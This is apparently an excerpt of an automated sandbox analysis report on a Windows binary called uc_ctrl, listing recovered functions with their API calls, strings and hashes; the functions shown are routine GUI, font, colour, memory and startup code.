Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: InfoLocalePointer$AddressDecodeEncodeHandleModuleProc
String ID: GetLocaleInfoEx$kernel32.dll
API String ID: 3226634038-1547310189
Opcode ID: 08f06bdc82f64d8713f4b8610a49ab1fefd839b8f53aa1e8072543fd4e282391
Instruction ID: 7ce502a8a3f56d4bfdc33b0985c906595789edca8f5ab68eb970312764465979
Opcode Fuzzy Hash: 08f06bdc82f64d8713f4b8610a49ab1fefd839b8f53aa1e8072543fd4e282391
Instruction Fuzzy Hash: 9B016D76401659BFDF029FA0DD0CA9E3F79EF0D7557104014FD2596620EB31C9228BA1

Function 6CED0090 Relevance: 9.5, APIs: 3, Strings: 2, Instructions: 790COMMON

Download Yara Rule

Strings

fer, xrefs: 6CED048B
P, xrefs: 6CED00B6

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID:
String ID: P$fer
API String ID: 0-1002059999
Opcode ID: d4747a243fc1df083f47949f6eba9987fdfe58231b5c1821b9c91872f6362dcf
Instruction ID: 61d0b3768ce3f4c096f5826c88e05393521fcc3ce71bd6ccd19852a0c6aedb06
Opcode Fuzzy Hash: d4747a243fc1df083f47949f6eba9987fdfe58231b5c1821b9c91872f6362dcf
Instruction Fuzzy Hash: C3822774E04269CFCB24CF99C890BADB7B1FF49309F298199D409AB755D730AA82CF51

Function 6CF1FEA4 Relevance: 70.4, APIs: 35, Strings: 5, Instructions: 373stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF1FEAE

Part of subcall function 6CEF512A: __EH_prolog3.LIBCMT ref: 6CEF5131
Part of subcall function 6CEF512A: GetWindowDC.USER32(00000000,00000004,6CF20443,00000000), ref: 6CEF515D

GetDeviceCaps.GDI32(?,00000058), ref: 6CF1FECE
DeleteObject.GDI32(00000000), ref: 6CF1FF38
DeleteObject.GDI32(00000000), ref: 6CF1FF56
DeleteObject.GDI32(00000000), ref: 6CF1FF74
DeleteObject.GDI32(00000000), ref: 6CF1FF92
DeleteObject.GDI32(00000000), ref: 6CF1FFB0
DeleteObject.GDI32(00000000), ref: 6CF1FFCE
DeleteObject.GDI32(00000000), ref: 6CF1FFEC
DeleteObject.GDI32(00000000), ref: 6CF2000A
DeleteObject.GDI32(00000000), ref: 6CF20028
DeleteObject.GDI32(00000000), ref: 6CF20046
GetTextCharsetInfo.GDI32(?,00000000,00000000), ref: 6CF2007E
lstrcpyW.KERNEL32(?,?), ref: 6CF200CE
EnumFontFamiliesW.GDI32(?,00000000,6CF1F840,Segoe UI), ref: 6CF200F5
lstrcpyW.KERNEL32(?,Segoe UI), ref: 6CF20108
EnumFontFamiliesW.GDI32(?,00000000,6CF1F840,Tahoma), ref: 6CF20126
lstrcpyW.KERNEL32(?,MS Sans Serif), ref: 6CF20140
CreateFontIndirectW.GDI32(?), ref: 6CF2014A
CreateFontIndirectW.GDI32(?), ref: 6CF2019B
CreateFontIndirectW.GDI32(?), ref: 6CF201DA
CreateFontIndirectW.GDI32(?), ref: 6CF20206
CreateFontIndirectW.GDI32(?), ref: 6CF20227
GetSystemMetrics.USER32(00000048), ref: 6CF20246
lstrcpyW.KERNEL32(?,Marlett), ref: 6CF20259
CreateFontIndirectW.GDI32(?), ref: 6CF20263
GetStockObject.GDI32(00000011), ref: 6CF2028F
GetObjectW.GDI32(00000000,0000005C,?), ref: 6CF202A6
lstrcpyW.KERNEL32(?,Arial), ref: 6CF202E3
CreateFontIndirectW.GDI32(?), ref: 6CF202ED
CreateFontIndirectW.GDI32(?), ref: 6CF20306
GetStockObject.GDI32(00000011), ref: 6CF2031A
GetObjectW.GDI32(?,0000005C,?), ref: 6CF2032F
CreateFontIndirectW.GDI32(?), ref: 6CF2033D
CreateFontIndirectW.GDI32(?), ref: 6CF2035E

Part of subcall function 6CF207FA: __EH_prolog3_GS.LIBCMT ref: 6CF20801
Part of subcall function 6CF207FA: GetTextMetricsW.GDI32(?,?), ref: 6CF20837
Part of subcall function 6CF207FA: GetTextMetricsW.GDI32(?,?), ref: 6CF20878

Part of subcall function 6CEEFBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBB9

Strings

Tahoma, xrefs: 6CF20114, 6CF20133
Marlett, xrefs: 6CF20253
Segoe UI, xrefs: 6CF200E3, 6CF200FF
Arial, xrefs: 6CF202D3
MS Sans Serif, xrefs: 6CF2013A

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Object$Font$CreateDeleteIndirect$lstrcpy$MetricsText$EnumFamiliesH_prolog3_Stock$CapsCharsetDeviceException@8H_prolog3InfoSystemThrowWindow
String ID: Arial$MS Sans Serif$Marlett$Segoe UI$Tahoma
API String ID: 3209990573-1395034203
Opcode ID: 523c7a20a6705b50263c82938db49b517260c0bbb1c9ed145a62c23f1d91afc7
Instruction ID: ba0d2d4a67bce3446324772d74010c89b63919d97f7a8537b876e4a5c4e5922d
Opcode Fuzzy Hash: 523c7a20a6705b50263c82938db49b517260c0bbb1c9ed145a62c23f1d91afc7
Instruction Fuzzy Hash: F2E19F71901348DBDF11DBB0CD58BDEBBB8AF0A309F108599E51AAB680EBB49549CF10

Function 6CF203DD Relevance: 64.8, APIs: 43, Instructions: 297COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF203E4
GetSysColor.USER32(00000016), ref: 6CF203ED
GetSysColor.USER32(0000000F), ref: 6CF20400
GetSysColor.USER32(00000015), ref: 6CF20417
GetSysColor.USER32(0000000F), ref: 6CF20423
GetDeviceCaps.GDI32(?,0000000C), ref: 6CF2044B
GetSysColor.USER32(0000000F), ref: 6CF20459
GetSysColor.USER32(00000010), ref: 6CF20467
GetSysColor.USER32(00000015), ref: 6CF20475
GetSysColor.USER32(00000016), ref: 6CF20483
GetSysColor.USER32(00000014), ref: 6CF20491
GetSysColor.USER32(00000012), ref: 6CF2049F
GetSysColor.USER32(00000011), ref: 6CF204AD
GetSysColor.USER32(00000006), ref: 6CF204B8
GetSysColor.USER32(0000000D), ref: 6CF204C3
GetSysColor.USER32(0000000E), ref: 6CF204CE
GetSysColor.USER32(00000005), ref: 6CF204D9
GetSysColor.USER32(00000008), ref: 6CF204E7
GetSysColor.USER32(00000009), ref: 6CF204F2
GetSysColor.USER32(00000007), ref: 6CF204FD
GetSysColor.USER32(00000002), ref: 6CF20508
GetSysColor.USER32(00000003), ref: 6CF20513
GetSysColor.USER32(0000001B), ref: 6CF20521
GetSysColor.USER32(0000001C), ref: 6CF2052F
GetSysColor.USER32(0000000A), ref: 6CF2053D
GetSysColor.USER32(0000000B), ref: 6CF2054B
GetSysColor.USER32(00000013), ref: 6CF20559
GetSysColor.USER32(0000001A), ref: 6CF2057A
GetSysColorBrush.USER32(00000010), ref: 6CF20593
GetSysColorBrush.USER32(00000014), ref: 6CF205A7
GetSysColorBrush.USER32(00000005), ref: 6CF205B6
CreateSolidBrush.GDI32(?), ref: 6CF205D3
CreateSolidBrush.GDI32(?), ref: 6CF205F1
CreateSolidBrush.GDI32(?), ref: 6CF2060F
CreateSolidBrush.GDI32(?), ref: 6CF20630
CreateSolidBrush.GDI32(?), ref: 6CF2064E
CreateSolidBrush.GDI32(?), ref: 6CF2066C
CreateSolidBrush.GDI32(?), ref: 6CF2068A
CreatePen.GDI32(00000000,00000001,00000000), ref: 6CF206AE
CreatePen.GDI32(00000000,00000001,00000000), ref: 6CF206D2
CreatePen.GDI32(00000000,00000001,00000000), ref: 6CF206F6
CreateSolidBrush.GDI32(?), ref: 6CF2077E
CreatePatternBrush.GDI32(00000000), ref: 6CF207C0

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Color$BrushCreate$Solid$CapsDeviceH_prolog3Pattern
String ID:
API String ID: 3832706086-0
Opcode ID: 4c0f75326fbe57f7f9592bf23c8e9a4ea18e3293c9a5eadaeb8838dae8a3f006
Instruction ID: aea626d72573500b7d951a9e6db5fb042004efb0eff15432fbb2e6b17c2a3fce
Opcode Fuzzy Hash: 4c0f75326fbe57f7f9592bf23c8e9a4ea18e3293c9a5eadaeb8838dae8a3f006
Instruction Fuzzy Hash: 6FC1B071A01A46BFDF059FB08A1879CFBB0BF1A301F10851DEA26D7A80DB74A525CF94

Function 00B38832 Relevance: 19.6, APIs: 13, Instructions: 104COMMON

Download Yara Rule

APIs

_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(00B3A674,00B3A684,00B3C488,00000014), ref: 00B38883
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(00B3A658,00B3A670,00B3C488,00000014), ref: 00B388A9
___scrt_release_startup_lock.LIBCMT ref: 00B388C4
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 00B388D8
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 00B388FE
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00B3C488,00000014), ref: 00B3890A
___scrt_get_show_window_mode.LIBCMT ref: 00B38910
_get_wide_winmain_command_line.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00B3C488,00000014), ref: 00B38919
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00B3C488,00000014), ref: 00B38939
___scrt_uninitialize_crt.LIBCMT ref: 00B38941
___scrt_fastfail.LIBCMT ref: 00B38990
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000007,00B3C488,00000014), ref: 00B38996
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000007,00B3C488,00000014), ref: 00B3899E

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: ___scrt_is_nonwritable_in_current_image$___scrt_fastfail___scrt_get_show_window_mode___scrt_release_startup_lock___scrt_uninitialize_crt_cexit_exit_get_wide_winmain_command_line_initterm_initterm_e_register_thread_local_exe_atexit_callbackexit
String ID:
API String ID: 2427040849-0
Opcode ID: 7a0dbc15346fffb65e67d03378b1487fcc75c140426ec20c431bbde41f466f8f
Instruction ID: 4e3d633eb3a243f0269393b0b11c1887079349c41d85ada7c04153c258f42b4c
Opcode Fuzzy Hash: 7a0dbc15346fffb65e67d03378b1487fcc75c140426ec20c431bbde41f466f8f
Instruction Fuzzy Hash: 62313632540B02BADB247B789C07B7E77E19F42720F3805D8F080772D2CEA65945C66B

Function 6CEEE70A Relevance: 18.1, APIs: 12, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CEEE717
GlobalAlloc.KERNEL32(00000002,00000000), ref: 6CEEE76F
GlobalHandle.KERNEL32(00000000), ref: 6CEEE77A
GlobalUnlock.KERNEL32(00000000), ref: 6CEEE783
GlobalReAlloc.KERNEL32(00000000,00000000,00002002), ref: 6CEEE79C
GlobalLock.KERNEL32(00000000), ref: 6CEEE7B1
LeaveCriticalSection.KERNEL32(?), ref: 6CEEE7F8
GlobalHandle.KERNEL32(00000000), ref: 6CEEE80A
GlobalLock.KERNEL32(00000000), ref: 6CEEE811
LeaveCriticalSection.KERNEL32(?), ref: 6CEEE818
EnterCriticalSection.KERNEL32(6D1272D0,00000000,?,?,6CEE9F7E,?,?,?,00000000,6D053C34,00000000), ref: 6CEEE82F
LeaveCriticalSection.KERNEL32(6D1272D0,?,?,6CEE9F7E,?,?,?,00000000,6D053C34,00000000), ref: 6CEEE85B

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Global$CriticalSection$Leave$AllocEnterHandleLock$Unlock
String ID:
API String ID: 2233717024-0
Opcode ID: 973d023489f497e2a67bd86eff4cc74ceff52e27aa4fee5dcbe87942bcd0d7ed
Instruction ID: f103f23fba1c61c00d19cd37330bf80ea1a0e0f40276317a52383a5371c94cf6
Opcode Fuzzy Hash: 973d023489f497e2a67bd86eff4cc74ceff52e27aa4fee5dcbe87942bcd0d7ed
Instruction Fuzzy Hash: AC41E071600B05AFC704CF64C988B6AB7B8FF09389B24866DE815C7A50DB75F966CBD0

Function 6CED0BF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 6CED0C33
PathRemoveFileSpecA.SHLWAPI(?), ref: 6CED0C40
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 6CED0CFE
GetFileSize.KERNEL32(000000FF,00000000), ref: 6CED0D1C
ReadFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 6CED0D71

Strings

\SK.txt, xrefs: 6CED0C46

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: File$CreateModuleNamePathReadRemoveSizeSpec
String ID: \SK.txt
API String ID: 2445516684-2142966246
Opcode ID: 0c650bd7b8ff03ead435cc008c29464539c15070f3ed762e0f9c2c35b27d548d
Instruction ID: 7af0e1ff5c4ed7807eb3f6f8f593aa10b9e935f93606b9338b7be4741ecb8bc3
Opcode Fuzzy Hash: 0c650bd7b8ff03ead435cc008c29464539c15070f3ed762e0f9c2c35b27d548d
Instruction Fuzzy Hash: A3513570D0426CAFDB29CB24CC85BDDBBB5AB49314F1482D9E649A7281C7746B88CF90

Function 6CFBE9C5 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CFBE9CC

Part of subcall function 6CEEFAC0: EnterCriticalSection.KERNEL32(6D127498,?,?,00000000,?,6CEF063F,00000000,?,?,6CECF6D7,6D12244C), ref: 6CEEFAF1
Part of subcall function 6CEEFAC0: InitializeCriticalSection.KERNEL32(00000000,?,?,00000000,?,6CEF063F,00000000,?,?,6CECF6D7,6D12244C), ref: 6CEEFB07
Part of subcall function 6CEEFAC0: LeaveCriticalSection.KERNEL32(6D127498,?,?,00000000,?,6CEF063F,00000000,?,?,6CECF6D7,6D12244C), ref: 6CEEFB15
Part of subcall function 6CEEFAC0: EnterCriticalSection.KERNEL32(00000000,?,00000000,?,6CEF063F,00000000,?,?,6CECF6D7,6D12244C), ref: 6CEEFB22

GetProfileIntW.KERNEL32(windows,DragMinDist,00000002), ref: 6CFBEA1F
GetProfileIntW.KERNEL32(windows,DragDelay,000000C8), ref: 6CFBEA35

Strings

windows, xrefs: 6CFBEA19, 6CFBEA1E, 6CFBEA2F
DragDelay, xrefs: 6CFBEA2A
DragMinDist, xrefs: 6CFBEA14

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CriticalSection$EnterProfile$H_prolog3InitializeLeave
String ID: DragDelay$DragMinDist$windows
API String ID: 3965097884-2101198082
Opcode ID: 67c1c11a7dfc2a017843f487a37a4b15cf69b679ca0cefe3307736dbd62d4b0c
Instruction ID: 390c00895afc66c573d49dab7bdd6271a41b30c5fab069f4656c0e0d30fe42a2
Opcode Fuzzy Hash: 67c1c11a7dfc2a017843f487a37a4b15cf69b679ca0cefe3307736dbd62d4b0c
Instruction Fuzzy Hash: 5C011AB0902B40DFFBA0DF359A45B19BAF4BB09704F44852EE14DDBB80E7B595418F15

Function 6CEEF24C Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 147COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,?), ref: 6CEEF287
PathFindExtensionW.SHLWAPI(?), ref: 6CEEF2A1

Part of subcall function 6CEEFBBF: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBD3

Strings

.CHM, xrefs: 6CEEF39B
.HLP, xrefs: 6CEEF3A2
.INI, xrefs: 6CEEF3D6

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Exception@8ExtensionFileFindModuleNamePathThrow
String ID: .CHM$.HLP$.INI
API String ID: 1938139466-4017452060
Opcode ID: 6a45a062e18e0106e26d5346bf1682b9b19a6c1d235d01b0c0535dee16c59ff7
Instruction ID: 649c1b22923719b225ef1831924cc5e013e1fd9129df3aec484a41861a5861af
Opcode Fuzzy Hash: 6a45a062e18e0106e26d5346bf1682b9b19a6c1d235d01b0c0535dee16c59ff7
Instruction Fuzzy Hash: A051A0B19017099AEB20DB75E944B9A73FCAF4C34CF20496AD595D3A80EB78D948CB21

Function 6CF1FA50 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003,00000001,00000003), ref: 6CF1FAAD
VerSetConditionMask.KERNEL32(00000000), ref: 6CF1FAB5
VerifyVersionInfoW.KERNEL32(0000011C,00000003,00000000), ref: 6CF1FAC6
GetSystemMetrics.USER32(00001000), ref: 6CF1FAD7

Part of subcall function 6CF203DD: __EH_prolog3.LIBCMT ref: 6CF203E4
Part of subcall function 6CF203DD: GetSysColor.USER32(00000016), ref: 6CF203ED
Part of subcall function 6CF203DD: GetSysColor.USER32(0000000F), ref: 6CF20400
Part of subcall function 6CF203DD: GetSysColor.USER32(00000015), ref: 6CF20417
Part of subcall function 6CF203DD: GetSysColor.USER32(0000000F), ref: 6CF20423
Part of subcall function 6CF203DD: GetDeviceCaps.GDI32(?,0000000C), ref: 6CF2044B
Part of subcall function 6CF203DD: GetSysColor.USER32(0000000F), ref: 6CF20459
Part of subcall function 6CF203DD: GetSysColor.USER32(00000010), ref: 6CF20467
Part of subcall function 6CF203DD: GetSysColor.USER32(00000015), ref: 6CF20475
Part of subcall function 6CF203DD: GetSysColor.USER32(00000016), ref: 6CF20483
Part of subcall function 6CF203DD: GetSysColor.USER32(00000014), ref: 6CF20491
Part of subcall function 6CF203DD: GetSysColor.USER32(00000012), ref: 6CF2049F
Part of subcall function 6CF203DD: GetSysColor.USER32(00000011), ref: 6CF204AD
Part of subcall function 6CF203DD: GetSysColor.USER32(00000006), ref: 6CF204B8
Part of subcall function 6CF203DD: GetSysColor.USER32(0000000D), ref: 6CF204C3
Part of subcall function 6CF203DD: GetSysColor.USER32(0000000E), ref: 6CF204CE
Part of subcall function 6CF203DD: GetSysColor.USER32(00000005), ref: 6CF204D9
Part of subcall function 6CF203DD: GetSysColor.USER32(00000008), ref: 6CF204E7
Part of subcall function 6CF203DD: GetSysColor.USER32(00000009), ref: 6CF204F2
Part of subcall function 6CF203DD: GetSysColor.USER32(00000007), ref: 6CF204FD
Part of subcall function 6CF203DD: GetSysColor.USER32(00000002), ref: 6CF20508
Part of subcall function 6CF203DD: GetSysColor.USER32(00000003), ref: 6CF20513
Part of subcall function 6CF203DD: GetSysColor.USER32(0000001B), ref: 6CF20521
Part of subcall function 6CF203DD: GetSysColor.USER32(0000001C), ref: 6CF2052F
Part of subcall function 6CF203DD: GetSysColor.USER32(0000000A), ref: 6CF2053D

Part of subcall function 6CF1FEA4: __EH_prolog3_GS.LIBCMT ref: 6CF1FEAE
Part of subcall function 6CF1FEA4: GetDeviceCaps.GDI32(?,00000058), ref: 6CF1FECE
Part of subcall function 6CF1FEA4: DeleteObject.GDI32(00000000), ref: 6CF1FF38
Part of subcall function 6CF1FEA4: DeleteObject.GDI32(00000000), ref: 6CF1FF56
Part of subcall function 6CF1FEA4: DeleteObject.GDI32(00000000), ref: 6CF1FF74
Part of subcall function 6CF1FEA4: DeleteObject.GDI32(00000000), ref: 6CF1FF92
Part of subcall function 6CF1FEA4: DeleteObject.GDI32(00000000), ref: 6CF1FFB0
Part of subcall function 6CF1FEA4: DeleteObject.GDI32(00000000), ref: 6CF1FFCE
Part of subcall function 6CF1FEA4: DeleteObject.GDI32(00000000), ref: 6CF1FFEC

Part of subcall function 6CF1FB37: GetSystemMetrics.USER32(00000031), ref: 6CF1FB45
Part of subcall function 6CF1FB37: GetSystemMetrics.USER32(00000032), ref: 6CF1FB53
Part of subcall function 6CF1FB37: SetRectEmpty.USER32(?), ref: 6CF1FB66
Part of subcall function 6CF1FB37: EnumDisplayMonitors.USER32(00000000,00000000,6CF1F9CB,?,?,00000000,6CF1FAF8), ref: 6CF1FB76
Part of subcall function 6CF1FB37: SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 6CF1FB85
Part of subcall function 6CF1FB37: SystemParametersInfoW.USER32(00001002,00000000,?,00000000), ref: 6CF1FBB2
Part of subcall function 6CF1FB37: SystemParametersInfoW.USER32(00001012,00000000,?,00000000), ref: 6CF1FBC6
Part of subcall function 6CF1FB37: SystemParametersInfoW.USER32 ref: 6CF1FBEC

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
